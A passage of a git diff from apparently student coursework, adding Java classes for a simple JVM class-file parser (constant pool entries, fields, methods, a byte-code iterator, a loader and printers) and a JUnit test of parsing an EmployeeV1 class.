+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..036e6d9055
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..5cbbba6033
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..41e0fd7e7a
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..6bfcb47273
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..7db88a939e
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..c6eb0196f8
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..6fb5570dff
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1toInt() {
+
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString((new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] }));
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..33185d8175
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..a29d9572cd
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,62 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+
+		
+		
+		
+		return null;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+
+		return null;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+
+		return null;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		return null;
+	}
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+
+	private void parseFileds(ClassFile clzFile, ByteCodeIterator iter) {
+		
+
+	}
+
+	private void parseMethods(ClassFile clzFile, ByteCodeIterator iter) {
+
+		
+
+	}
+	
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..b86c57ef90
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,80 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+	
+	
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public String toString() {
+		
+		ConstantPool pool = this.clzFile.getConstantPool();
+		StringBuilder buffer = new StringBuilder();
+		
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		
+		buffer.append(name).append(":").append(desc).append("\n");
+		
+		buffer.append(this.codeAttr.toString(pool));
+		
+		return buffer.toString();
+	}
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		return null;
+		
+	}
+
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..14407bacbe
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..028161adc7
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..8f8097325d
--- /dev/null
+++ b/group23/563253496/week7_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,354 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "D:\\mygit\\coding2017\\group23\\563253496\\week7_jvm\\out\\production\\week7_jvm";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	
+    	{
+    		Method m = methods.get(0);    		
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
